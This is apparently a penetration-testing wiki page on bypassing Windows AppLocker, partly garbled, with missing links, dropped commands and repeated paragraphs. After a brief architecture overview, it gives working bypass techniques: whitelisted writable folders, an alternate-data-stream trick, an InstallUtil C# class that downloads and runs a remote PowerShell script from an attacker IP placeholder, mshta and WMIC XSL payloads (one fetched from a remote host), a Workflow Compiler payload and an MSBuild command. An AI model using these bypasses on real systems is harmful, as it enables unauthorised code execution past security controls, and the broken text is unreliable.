is a security feature introduced in Windows 7 Enterprise and later versions, providing a robust application whitelisting solution to control executable, script, and installer file execution. It aims to replace older by adding enhanced control and a kernel-level enforcement mechanism.
Although AppLocker is gradually being replaced by , Formerly known as Device Guard, it remains a popular solution for enterprises due to ease of configuration and deployment.
WDAC relies on and which are only available in Windows 10, Windows 11, and Windows Server 2016 and later
AppLocker consists of two core components:
The kernel-mode driver (APPID.SYS):
This kernel-level driver provides the foundational enforcement for AppLocker policies by handling process creation blocking through a Process Notification Callback (). This callback intercepts attempts to execute files and forwards information to AppLocker policies.
Additionally, APPID.SYS assists in applying broader application control functions, distinguishing it from SRP, which operates entirely in user mode.
The user-mode service (AppIDSvc):
The AppIDSvc service primarily functions as a policy manager, responsible for administrating the whitelist ruleset and performing tasks that are impractical to handle at the kernel level, such as comprehensive code signature verification.
The AppIDSvc interacts with the APPID.SYS driver via Remote Procedure Calls (RPC) to verify digital signatures and validate applications against AppLocker policies.
Practice
This section delves into practical bypass methods, exploring weaknesses in AppLocker’s implementation and configuration. It covers techniques ranging from exploiting policy misconfigurations, abusing trusted applications (living-off-the-land binaries, or LOLBins), manipulating file path rules, and leveraging signature-based bypasses.
Enumeration
Enumeration is the crucial initial step, providing insight into the specific rules, policies, and whitelisting configurations that AppLocker enforces. By gathering this information, it becomes possible to determine which executables, paths, scripts, and DLLs are allowed or restricted, enabling a strategic approach to potential bypass techniques.
The following commands can be used to check whether any AppLocker rules are being enforced.
The default rules for AppLocker automatically whitelist all executables and scripts located in the following directories: C:\Program Files, C:\Program Files (x86), and C:\Windows.
If we discover a folder within these directories that is both writable and executable, we can exploit it to bypass AppLocker policies.
The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803) and may be whitelisted by AppLocker.
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
If we discover a folder that is both writable and executable and has been whitelisted by AppLocker (e.g C:\Windows\Tasks), we can exploit it by downloading and executing a malicious binary. Here's how this can be achieved:
If we discover a file that is both writable and executable and has been whitelisted by AppLocker (e.g C:\Program Files (x86)\App\Random_log.log), we can exploit it by leveraging Alternate Data Streams (ADS) to append and execute a malicious payload. Here's how this can be done step by step:
Create a malicious javascript file (e.g. evil.js)
evil.js
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("calc.exe");
Create an alternate data stream to the file
type evil.js > "C:\Program Files (x86)\App\Random_log.log:evil"
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. We can abuse it to execute arbitrary C# code and bypass AppLocker.
First, compile the following code into Visual Studio.
Bypass.cs
// code from https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/applocker-bypass
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace BypassCLM
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Welcome !");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKING-IP>/run.txt')";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
Add a reference for the System.Management.Automation assembly before compilation from path:
After writing the .csproj file on the target, we can run it as follows
#Execute it on the target with MSBuild.exe
C:\Users\victime> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj
Since mshta.exe is located in C:\Windows\System32 and is a signed Microsoft application, it is often whitelisted by default on AppLocker or WDAC.
This trusted status makes mshta.exe a prime candidate to execute malicious JScript or VBScript code, bypassing application control restrictions.
evil.hta
<html>
<head>
<script language="JScript">
<!--- PASTE JSCRIPT PAYLOAD BELOW --->
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
<!--- PASTE JSCRIPT ABOVE--->
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
The above code can be executed from a local or remote location
The WMI command-line (WMIC) utility provides a command-line interface for WMI. It can be leveraged to executes JScript or VBScript embedded in a remote or local XSL stylsheet while bypassing AppLocker.
evil.xsl
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell");
r.Run("cmd.exe");
]]>
</ms:script>
</stylesheet>
The above code can be executed from a local or remote location.
wmic process get brief /format:"http://192.168.0.1/evil.xsl"
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\evil.xsl"
evil.txt
using System;
using System.Diagnostics;
using System.Workflow.ComponentModel;
public class Run : Activity{
public Run() {
Process process = new Process();
// Configure the process using the StartInfo properties.
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "powershell.exe -enc <ENCODED PS Payload>";
process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
process.Start();
process.WaitForExit();
Console.WriteLine("I executed!");
}
}
Using the above code, saved as a text file, and commande belows, we can create a correctly-serialized XML file, and run our C# code using Microsoft.Workflow.Compiler.exe:
When AppLocker (or Windows Defender Application Control, WDAC) enforces script whitelisting rules, ConstrainedLanguage Mode (CLM) is automatically enabled in PowerShell. This security feature, introduced by Microsoft in PowerShell version 3.0, is designed to restrict the capabilities of PowerShell scripts and reduce the risk of abuse by attackers.
Third Party Scripting Interpreter
AppLocker enforces rules only against native Windows executable file types, such as .exe, .dll, .bat, .cmd, .vbs, and .ps1. However, if third-party scripting engines like Python, Perl, or Ruby are installed on the system, they can serve as unexpected vectors to bypass application whitelisting with minimal effort.
Resources
To determine whether a specific file could be executed without actually running it, we can use the PowerShell cmdlet as follows:
You can recursively check for writable permissions on the C:\Windows folder using Sysinternals' :
An is a feature of the NTFS file system that allows files to store additional data streams as metadata. This functionality can be exploited to hide or append binary data (like scripts or executables) to existing files without affecting their primary content. We can leverage this to bypass AppLocker or other application control mechanisms by hiding and executing malicious scripts or binaries in trusted locations.
You can recursively check for writable permissions on the C:\Windows folder using Sysinternals' :
Leveraging , we can build and execute a C# project stored in the target csproj file.
We can automate this process using , a Python-based tool that leverage MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe.
is an utility included with .NET that is capable of compiling and executing C# or VB.net code. It can be leveraged to compile and execute C# or VB.net code in a XOML file referenced in the .txt file to bypass AppLocker.
